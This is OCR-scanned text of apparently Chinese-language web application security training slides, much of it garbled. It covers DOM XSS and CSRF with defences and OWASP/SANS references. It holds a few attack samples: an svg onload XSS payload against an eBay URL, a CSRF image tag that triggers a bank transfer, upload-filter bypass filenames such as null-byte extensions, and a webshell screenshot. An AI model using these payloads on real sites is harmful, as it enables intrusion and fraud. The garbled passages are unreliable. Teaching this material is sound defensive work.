| Silocation hash split(#3[1]); ) Disable- K, Cookies- »# C55- [] Forms- & Images- @ i Misc /' Qutlines 4 Resizer X Tools+ Wl View Source- |1|| Options-
' </script>
</head>
<body>
| Jguery DOM XSS
</body>
</html=
1
l <html=
| <head>
<title>Jquery XS5 Test 2=</title>
, <script type="text/javascript”
o src="https://ajax.googleapis. com/ajax/libs/jquery/1.11.3/jguery.min.js">
! </script=
<script>
${location. hash);
</script=
</head>
<body=
Jquery DOM X555
! </body>
</html=

Copyright of ST/



DOM XSS PoC with jQuery V1.7 via $(location.hash) in deals.ebay.com

PoC URL http://deals.ebav.com/#<sve onload="alert('|Query V1.7""> | XSS.CX

Reported May 25, 2013 | Resolved June 2013

TargetURL | High | Medum | Low | inio
0 0 0

http://deals.ebay.com 1

Alert Detail

Click here to hide

Description jQuery V1.7
URL http://deals.ebay.com
Parameter location hash via <svg onload="alert{Vulnerable jQuery V1.7)">

Other information

and then injects it back inta the web page {such as with dynamic HTML), then DOM-based XSS is possible.

Hide the alert

bigh Verified) ———————powxss

CWE-T9:Typel: In DOM-based XSS, the client performs the injection of XS5 into the page; in the other fypes, the server performs the injection. DOM-based XSS generally involves server
controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the serversupplied script processes user-supplied data

PoCinIEN0 B - SRS Sht— : —_
| M| nttp://deals ebay.com/# <svg onload="alert(9)"> o2 OH | Waiting for deals.eb... % ‘ ‘
JE— T |
v 5
o Hil Sign in or register | Daily Deals TESE‘EE MyeBay  Sel  Communi)
w0 -
i eb Shop by N
: y category ™ e All Categories
: =
= dxiy ea S Daily Deals Tech Deals Fashion Deals Home Deals
- n‘ = Limited Time Events Today Only Never miss a deall

Tablets & More

Shop By Category

Tech Deals

Fashion Deals
Home Deals

Even More Deals

Featured Weekly Deals
Recommended For You
Customer Favorites
eBay Deals Staff Picks
Top Trending on eBay

Top Seliing Tablets

Hot Computers and More

Bionaire Table

Vizio 42" 1080p 120Hz 3D LCD HDTV E3D420VX,
Includes 2 3D Glasses

$389.99

See Details

BEO

Raspberry Ketone
Lean Advanced We...

E $9.99
$39.99 B

fesil

81% off list price




CaseS: JQuery Ul

CVE Details

The ultimate security viulnerability datasource

LogIn Register

Switch to https://
Home
Browse :

Jqueryui » Jquery Ui : Vulnerability Statistics

Vulnerabilities (1) CVSS Scores Report  Browse all versions — Possible matches for this product

Vulnerability Feeds & WidgetsNevw [ m—

Related Metasploit Modules

Mendors

Products Related OVAL Definitions : \Wulnerabilities (0} Patches (2} Inventory Definitions (0) Compliance Definitions (0)

Vulnerabilities By Date

Vulnerabilities By Tvpe
Reports :

CVSS Score Report

CWSS Score

Distribution

Vulnerability Feeds & Widgets

Vulnerability Trends Over Time

# of
W lerbilitiesy,

Http
Direct:

XsS rECEAY pespanse
Traversal

Memory Sql

Bypass
ow A < I
Corruption Injection

G
ate | loeet
Execution P
Splitting
Search : 201 1

wendor Search

1=

Product Search

0.0 0.0 0.0 0.0 100.0 0.0

Wersion Search
Vulnerability Search
By Microsoft
References

Top 50 :
Mendors

Vulnerabilities By Year
1 20141 1

Vulnerabilities By Type

Wx3s1
Wendor Cvss Scores

Products
Product Cvss Scores
Mersions

something Information Privileges

Gain Gain File

Inclusion

# of
exploits

CSRF

0.0

Other :
Microsoft Bulletins
Bugtrag Entries
CWE Definitions
About & Contact

Jgueryui » Jguery Ui : Security Vulnerabilities (Cross Site Scripting (XS8))

CVSS Scores GreaterThan: 0 1 2 3 4 5 6 7 & 9

Copy Results Download Results
# CVE ID CWE ID # of Exploits Wulnembility Type(s) Publish Date Update Date Score
1 CVE-2012-6662 79 x5S 2014-11-24 2016-12-23

4.3 MNone

web script or HTML via the title attribute, which is not properly handled in the autocomplete combo box demo.

Total number of vulnerabilities : 1 Page : 1 (This Page)

Gained Access Level

Sort Results By : CVE NMumber Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending

Access Complexity Authentication Conf.

Remote  Medium Mot required MNone Partial

Integ. Awvail.

Mone

Cross-site scripting (XSS) vulnerability in the default content option in jguery.ui.tooltip.js in the Tooltip widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary
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| JavaScript BT ERSEHSERERES  BHTMLECSSTEI R E % ENS
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Most used Java components with critical vulnerabilities

% OF JAVA
APPLICATIONS

B 25.0%

LIBRARY 'VERSION

commons-collections-3.2.1.jar 3.21

commons-fileupload-1.2.1.jar
batik-css-1.7.jar

batik-util-1.7.jar
commons-fileupload-1.2.jar
batik-ext-1.7.jar
spring-web-3.1.1.RELEASE.jar
spring-core-3.1.1.RELEASE.jar
spring-beans-3.1.1.RELEASE.jar
spring-context-3.1.1.RELEASE.jar
spring-expression-3.1.1.RELEASE.jar
spring-jdbc-3.1.1.RELEASE.jar
struts-1.2.9.jar
spring-aop-3.1.1.RELEASE.jar
spring-asm-3.1.1.RELEASE.jar
spring-tx-3.1.1.RELEASE.jar

spring-context-support-3.1.1.RELEASE.jar

spring-orm-3.1.1.RELEASE.jar
spring-jms-3.1.1.RELEASE.jar
spring-webmvc-3.1.1.RELEASE.jar

1.2.1
§ T4
17
1.2
1.7
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
1.2.9
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE
3.1.1.RELEASE

10.4%
9.5%
9.4%
9.3%
9.2%
4.7%
4.7%
4.6%
4.5%
4.4%
4.4%
4.3%
4.3%
4.3%
4.2%
4.2%
3.8%
3.8%
3.8%

https.//www.veracode.com/sites/default/files/Resources/Reports/state-of-software-security-volume-7-veracode-report.pdf




>R BATR

> E AP M B AT T A

v Exploit DB

v CVE

VR® R

v 'E * release note

> FR1IE

v’ #]: Acunetix -~ Metasploit ~ ....

Prafile: |Default b ™ B 4 Filter: struts

Test
B E Scripks
= ﬁh FostCraml
[ ] struks?_classloader_Manipulation.script
[] struksz_ClassLoader Manipulation2,script
| ] Strutsz_Development_Mode,script
[] struks? Remaobe_Code_Fxecution.script
B

L | Strutsz_Remote Code_Execution_S2014.script

_l’
;,_}
Dezcription
Acunetix WYS scripks

Scripts executed after the crawl was finished

Skruks?_ClassLoader_Manipulation, scripk

SkrutsZ_ClassLoader_ManipulationZ, script

Skruks2_Development_Mode, scripk

This script checks For Mulkiple critical wulnerabilities in Apache Skruts2, Apache StruksZ is a web Framework and it ...
Struts2_Remote_Code_Execution_S2014,script
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Authentication

7, P\ 2 2
(£ 7228

Authorization Audit

(73 P21 5 12) (% 2777
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e o P R o T ¢
Log#i i34 R4k i

- sumuz i

GED 230 Asisie - s R E B M A -
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Notification 2 End User

P LT E (T b4 A i h A

V I X B RO aEv il ReT )

VRBRL SRR 5 RBEKR
7134 75kl e 2k

vV X4 pret &

> i e JF 5 iE out-of-band 4t 1
v Email/ g %8 3 2
VER/E R

R R PR Te
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Log Content

» For Security
V E (R B4/ E D
VERBRL CRLERANY G RBLR
ViR A TR g it
“wﬁ?ﬁﬁﬁ 7 ety B
V Rk g
VERHTALE (AP BT

\/sf*frigf\%”ﬁ;g\%q%;g%.ﬁ .
vV £ R %A BN L | puegim
v ”’\‘}' b oA /T 2
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> ERZ R
>%%ﬁ@%é4%?iﬁﬁﬁi
PEBRPARAFTHE ARG BR)NEFTE F e
PGP L AER DV *’;,.Ef / Aggregation
> & AL Rk oz 8 RS Log ga{r,;‘f:—

L= .
Lo .
2k i
‘/ fellg -l::i i
v ’;“1‘ ER T T

@ * Read-only
» Audit
s

?,

\
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Log - Monitoring

FREFTEER
VEXTHPMF
— SQL Injection ?
— XSS?

— & 2 FRIRE?
— «’—_Fé_ﬁi%]/\/'fﬁi?
-t g



Incident Handling

aggregation correlation
' Event I" Incident '

» Incident Handling

User
Administrator
Stakeholders

IP
IP Range

VV VVYYVY

User Rights
User Account

Y VYV

Monitor / Disable



Others:
Cross-Site Request Forgery (CSRF)
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Alice
gﬁ\ /login.html

/auth.aspx?id=Alice&pw=md9032

Cookie: sessionid=40a4c04de

<

[transfer.aspx?from=Alice&to=Bob&amt=$10000
Cookie: sessionid=40a4c04de

“Transfer Done !”’

171



IL P (cont.)

Alice ﬁ

Bank.com Ev

/login.html S lim
4 —
/auth.aspx?id=Alice&pw=md9032 >
p Cookie: sessionid=41d8u31op
levil.html ! S
<IMG SRC=http://bank.com/t:ransfer.aspx
p ?from=Alice&to=Evil&amt=%10000 >
|

[transfer.aspx?from=Alice&to=Evil&amt=$10000
Cookie: sessionid=41d8u31op

>
“Transfer Done !”’

<
SI \;

il.org

a
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» 3 LU CSRFVE & 3 0 hAciaest il - it
\iﬁ‘? {% {g % j‘ \:' °
» Workaround
vV 2 2# % GET? (¥ 28k FEdgar b &85y o
V iR SRR B ST
— General - Request ['""name"'|
— & 8 B 1 Query String DPForm = Server Variables

[Method] [URL] [Version]

[Header]: value Header

T (PRI~

[Data] (Optional) } v
GET — Reg J ]

— POST - Request.Form[“name”] (€ OK) 173




[7 &

i= 2% (cont.)

VIR * K R~ OB

hN

VAN E R % b A

— Double confirm

— Re-authenticate

— Two-factor Authentication
VRERR T AT ek i KB FHAA R

@%ﬁﬁé& HTTP % 2f “Referer” = ¥ 4213 !
— % % CAPTCHA = 7 £#%r3 » > % & F 74 a1 ¥
> A e ¥R B Completely Automated Public Test to tell
Computers and Humans Apart

SIfceei™
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v 323 7 9 ¥ “Custom Random Token”:
—HHER SN L4 HE TR

— %’ Bs | =form action="/transfer.do" method="post"=
<input type="hidden" name="8438927730" value="43847384383"=>

</form=
» sz A &2 4 )Ly Z2 4 - Brandom token ® >t 4 H AE B
i A EEHSL B A ;#ﬂ,sessmn data® -
> 3 f%%ﬁ&f:’:év’véf?# sPAA RS e B
> 7 A PR RG] o BlAeba a3 T o
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% (cont.)

» Solution by Frameworks

v  NET : ViewStateUserKey
— Starting with Visual Studio 2012
— http://software-security.sans.org/developer-how-to/developer-guide-csrf

v Java : OWASP CSRF Guard

— https://www.owasp.org/index.php/Category: OWASP CSRFGuard Proj
ect

What is CSRFGuard?
OWASP CSRFGuard provides:

« A library that implements a variant of the synchronizer token pattern to
mitigate the risk of Cross-Site Request Forgery (CSRF) attacks.

« A JavaEE Filter and exposes various automated and manual ways to
integrate per-session or pseudo-per-request tokens into HTML.
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> 2% URL: £ 4 5 8> 7o ¥ 5 £04E 1!

v radio button - check box ~ select menu

v hidden value (> 3% {5 %48 £ 387])
> %% £ (DER BB/
v SQL ~ XSS
Vi  (DHE?))
Vg g (D454?0)
Vg g Mengidk (O UK /LB Bi)
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REE MmEE Rl EAIEER) ArAHH)

e W ﬁ|ﬁ;§%: Glpgras e 8\1%véj = E

HEIE (D) [ @) http e sttoday.com/2003/1 1/11/811-1541900. him

ETtoday...

Bg IR SHmies [l ©
(Money®E | M O | B W | £ T | R B | £ & E#E |

== 8 & 45 AA

EEA o wmmscmiE nHarE8C 0 | pols

fEERT AR At R BN EN
= ideo
2003411711 13:05

ACEHEPEIL - BRI TR EEERE

= T RRAER IR RE S
TR EATIEEER ) SRRRTEN
O T k@ 2FRLSERNEET > B

@ . == {BREN - BVENESEAERAEY
EIRIRE - EASESEAE  —80 1 BEITEEE TR

EEAES  FEIBEI0 o e " G

TR sRATAN AL P ISR E e E BT ) af Bl AR o ft—

@ mavmne
& EF EwE

iR RITE
EMEEE SRt
RE R
PIERIRE B
BERANE TR
HRITRARARR
5 AR,

s WEE R X
M z yvyoi®@alapne com L e =} F—'.H
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Sol:dot

HEHMENL EEMEA

N EBETEEEA RIS

blackhat BT 201 1E6E2TH 138 205 E— a4l O

i REAF—EH(]
=k TR EREARTRS T VI ERAIES - TEREES HUFAREE ﬁ#7
e IS T IR EEE PSR  BEARSEHEEA LR e )
i > RSN ERFE SR - SRBAE A H SRk O
R SEMA ARIES - EEE LEERANMO M ESERTIORER -
— i - ERBHEC TR RARERE  vRvEpanErzv: R
s R - .
i

s « Firefoxk w5 AT [ »

BRHF

#if

TR

18je]Solidot
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» Input Validation
v' & 7 Business Logic 11§ 4 !
VRS B ch %3 dmt $3Session & (> E_
% - ifz!
> 1% —"ﬁ’ﬁ%)\ TR B —
VI E L BB ER
ENRE- S ’}5 gz
A= ﬂ%;Sessmnéz

Wi Bt e B 1S
gtﬁi;m”s AL B
i g o

,%- H‘ "“)- \r\:l

( FALE)P KRB o
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BT SRE
FREFERE

W2 TR RRIPKR E
7R o fe A PR &
BANEKRE
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HegA
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B F
WA A
FEIHGFMH

___ DONOTCROSS

XXX
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&

F 8 3 ok 4 17 %
WebShell i 2 {7 IT |
LGN W F‘\ %E—}
I_comfpy_webshell.p}'?path:fPrnject TT - 1 Foogle
J.Backdoor Kot Found E‘
I.fPruject HEER
ebsnellBR | BREX | REERE | AiT&S | SockechE
YREIRAE (. /Project) THIHE:
WE KRENHE Kb #1, .31
carf 2009-02-16 22:17:37 = R/W/X Del/Rename
fish 2009-02-16 22:17:37 - R/W/X Del/Rename
ieprint 2009-02-16 22:17:37 - R/W/X Del/Rename
poc 2009-02-16 22:17:37 - R/W/X Del/Rename
webtrajan 2009-02-16 22:17:37 - R/W/X Del/Rename
WOrm 2009-02-16 22:17:37 - R/W/X Del/Rename
0x37Project.rar 2008-07-11 21:57:00 §8.26KE R/W/X /C/D/ Del/Rename
doc.html 2008-05-20 22:50:00 0.05EB R/W/X /C/D/ Del/Rename
gwWoIm. 3 2008-05-16 14:01:00 1.87FB R/W/X R/C/Df Del/Rename
kb.js 2008-06-03 15:12:00 0.01EB R/W/X /C/D/ Del/Rename

(C)Xeye Hack Team

Web Server
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eIz 1 183 WEBSHELLBAZ 4 H 8

Aspxshell --#Elasp.net —aliEwebshelllRE Fig

HrFIiEFmE R PR W ebshell

51 webshell asp/php/cai for download

HEN--mEEFfwebshell ... 1 2

PR4567 webshell ZiETrR WEdR

ITaHEPRY-SHwebshell 35—

Hib Emng webshell

HHiH B8 webshell

HEPRA-5rF50004+ webshell

HE webshell it

TEHEPRL-sHIwWwebshell 5TT—1-

T EPRL-SHwebshell STT—~

IEWEBSHELL TR WINRARITEEERL

g -':F CGE J\' 2 %: 5

‘\\\

4
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|Hackers
Animation
EETH
|Hacking tools

wcl2222

lamar

BEEIE |Hacker pysoft

notes
EETH
|Hacking tools
| HES||Daily
attendance
g/ 053 |Daily
attendance
s HE3 | Daily
attendance
& HE3 | Daily
attendance
g HEH|Daily
attendance
g HEH | Daily
attendance
#|HES|Daily
attendance
g/l |Daily
attendance

FEElak [ | Super

Water District
BEHEA
|[Hacking
technology

tn_:ml;

;?{_i aoyaxin
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: S ST
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0/ 24
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yepengyu
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vk B e kR ¢ FCKeditor

http://www.informationsecurity.com.tw/article/article _detail.aspx?aid=5790

ﬁﬂ?lﬁéﬁﬂﬁ@ 1S 6¥EiMMFCKeditorEgs
ME3CERTEHERELEMNNE SRR ERITTESR
HHERENREN T REBENERSXEME R E
EEEEREERMATMEEZE ST EE2LESATLTF - L
FET  SfERWHENEERIOEE  EHEESESY

—_

H3H LA » fE Emobile 015 E 5 W2 2 FFHR B 5
iﬁﬂﬂfﬁﬁﬁ%ﬁﬁﬁﬂﬂﬁ MESH H BT 1R 12 % IR B2 1 RIS
FROHRERE  HERFEESAE « RERZA » BE
EEREEERIEEE  THEANWEENEERT  EAE » MR T M e
= A EA A - BT iRiEE I S EEFCKeditor » FE-FHMEF » BETER
EMEL R 2EAE » TRIRHINF R ARR » S FEEREEE - BEER TEE
FCKeditor?. » fpZ BB AAA(WAE) » LEEEIZMESQL InjectionifimiH » BIE
EHE o
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> b
v 1IS P& 54 1° 4%

— asp.dll: asp ~ asa ~ cer ~ cdx...

— ssinc.dll : stm ~ shtm ~ shtml
v .php/ .jsp
v' .gif.php (5 £ "4 &)
v %2E%70%68%70 (= .php)
v .pHp
v’ .ccerer
vV e BL/4e 3w

F i B R T
v NULL

— /image/xxx.aspx%.00.jpg
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WebSheII

_%lﬁ B P AR

u ﬁ&l » ¥
© itAn & > MIME-Type Web Server

° lﬁ«mj—tirf

e % LE>T ¥
o AR B SEE
u l@ﬁ&ﬂg‘:{ v

e @

W % % i sReader
https://.....show.aspx?id=112233

O

B P3P &l 7
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PIAEW® X %

PELLELLELLLE
v'Slow POST

FEE AR antE A

»No CAPTCHA
v'Login

VATH € R
v Bl % 3N
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AP frLog/4 3F a2 5 4

P - SN
v Dump Memory?!

»No Aggregation £ v % H (5]4r:forss 24 3)
P IS
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EEm
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» Confidentiality
> Integrity
> Availability

27 BRI

Security Risk Analysis B Z 5|4

Secure Coding

Code
Review

BB Z ki

V2 Y

TiToRLER GBI KE
EuLIsELEEE BESEAEE
BB BZ B R

Continuous
Defense
& Monitoring

Dynamic

Testing

‘Z‘i B

—

E
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@ Asvs 2014

L Securing Web Application Technologies
[SWAT] Checklist

ERROR HANDLING AND LOGGING
DATA PROTECTION
CONFIGURATION AND OPERATIONS
AUTHENTICATION

SESSION MANAGEMENT

INPUT AND OUTPUT HANDLING
ACCESS CONTROL

F\&mmlllsﬁ[: C URRICU LU M

APPLICATION & SOFTHNRE SECUNITY Get the right training to build secure applications.

Web Applicatian Sramvdard

Detailed Verification
Requirements

This section of the OWASE Application Security Verification Standard (A5VS) defines detalled verfication
requirements that were derived from the high-level reguirements for each of the verification lewels defined in
this standard. Each section betow defines a set of detailed verification requirements groeped into retated
aneas

The ASVS defines the following security requirements areas. The numbering scheme has been kapt
consistent with the previous version of ASWS fo heldp with indbidials wishing 1o transition From one Lo the
ather.

V2. Authenthcation

V3. Session Management

Wi Access Contral

V5. Maliclows input Hardling
VT, Cryphography at Rest

@ownsp ‘ Testing Guide
release

VE. Errer Handling and Logaing
Vi Data Protection

Wil Communications

Vi1, HTTP

W13, Mallclows Controls

W13, Business Logic

V& Fike and Resource

V17, Mobile

»| https://software-security.sans.org/resources/swat
»| https://www.sans.org/security-resources/posters/securing-web-application-
technologies-swat/60/download

https.//www.owasp.org/index
.php/Category:OWASP_App
lication_Security Verification
_Standard_Project
https://www.owasp.org/imag
es/5/58/OWASP_ASVS Ver
sion_2.pdf

» https://www.owasp.org/index.php/OWASP_Testi
ng_Projecti#tab=New_OWASP_Testing_Guide 1 9 6
» https://www.owasp.org/images/1/19/0TGv4.pdf
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» % 4 : T HTTP Essentials j - Stephen Thomas

» % J&: T The Web Application Hackers Handbook ; - Dafydd

Stuttard -~ Marcus Pinto

» % Z&: T Hacking the Code (ASP.NET Web ApplicationSecurity)

g - Mark M. Burnett ~ James C.Foster

» % #&: T Secure Java — For Web Application Development j -
Abhay Bhargav and B.V. Kumar

> F i TJavaRezb X 2pERREIP - HHBEF X > Hjrng &
FRER - FR T AR AR

» “2011 CWE/SANS Top 25 Most Dangerous Programming Errors”

v' http://cwe.mitre.org/top25/index.html#Listing
v' https://www.sans.org/top25-software-errors

» |Veracode] “State of Software Security 2017”
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